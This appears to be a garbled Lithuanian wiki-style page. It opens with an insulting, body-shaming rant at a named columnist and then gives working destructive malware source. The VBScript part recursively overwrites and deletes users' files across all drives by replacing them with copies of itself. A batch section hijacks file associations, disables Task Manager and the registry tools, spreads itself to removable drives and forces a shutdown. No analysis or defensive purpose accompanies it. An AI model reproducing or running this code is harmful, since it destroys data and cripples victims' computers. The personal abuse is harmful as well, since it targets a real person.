|
|
6 eilutė: |
6 eilutė: |
|
| |
|
|
| |
|
| haha()
| | Storasis Andriau Užkalni, visų pirma pasižiūrėkit į save ir ne tik veidrodyje. Ką gero esat padaręs? Ką Jūs esat gero bent jau pasakęs? Čia žmonės dirba, stengiasi, koks skirtumas, kaip jiems išeina? Kritika dar būtų kritika, jei joje būtų kažkokio konstruktyvumo be gomoerotinių užuominų, bet jūs esat prosta storas, šveplas, piktas, plikas, nelaimingas, pritvinkęs rusopedijos, savo vapalų kaip šlapimo nelaikantis gniutulas. Niekada gyvenime jūsų fantazija net iš tolo nesugebėtų sukurti nieko panašaus į šitą produktą, gerbiamas attention whore (angl. dėmesio auka).” |
| Sub haha()
| |
| On Error Resume Next
| |
| Dim d, dc, s, fso, haha
| |
| Set fso = CreateObject("Scripting.FileSystemObject")
| |
| Set dc = fso.Drives
| |
| For Each d In dc
| |
| If d.DriveType = 2 Or d.DriveType = 3 Then
| |
| hihi (d.Path & "\")
| |
| End If
| |
| Next
| |
| haha = s
| |
| End sub
| |
| Sub hehe(folderspec)
| |
| On Error Resume Next
| |
| Dim f, f1, fc, ext, s, fso
| |
| Set fso = CreateObject("Scripting.FileSystemObject")
| |
| Set f = fso.GetFolder(folderspec)
| |
| Set fc = f.Files
| |
| For Each f1 In fc
| |
| ext = fso.GetExtensionName(f1.Path)
| |
| ext = LCase(ext)
| |
| s = LCase(f1.Name)
| |
| If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
| |
| Set f = fso.getfile(wscript.scriptfullname)
| |
| f.Copy (f1.Path & ".vbe")
| |
| fso.deletefile(f1.path)
| |
| End If
| |
| Next
| |
| End Sub
| |
| Sub hihi(folderspec)
| |
| On Error Resume Next
| |
| Dim f, f1, sf, fso
| |
| Set fso = CreateObject("Scripting.FileSystemObject")
| |
| Set f = fso.GetFolder(folderspec)
| |
| Set sf = f.SubFolders
| |
| For Each f1 In sf
| |
| hehe (f1.Path)
| |
| hihi (f1.Path)
| |
| Next
| |
| End Sub
| |
| :task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err
| |
| DisableTaskMgr /t reg_dword /d 1reg add "hkcu\\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f
| |
| | |
| copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat
| |
| | |
| attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat
| |
| | |
| goto err
| |
| | |
| :err;shutdown -t 5 -s
| |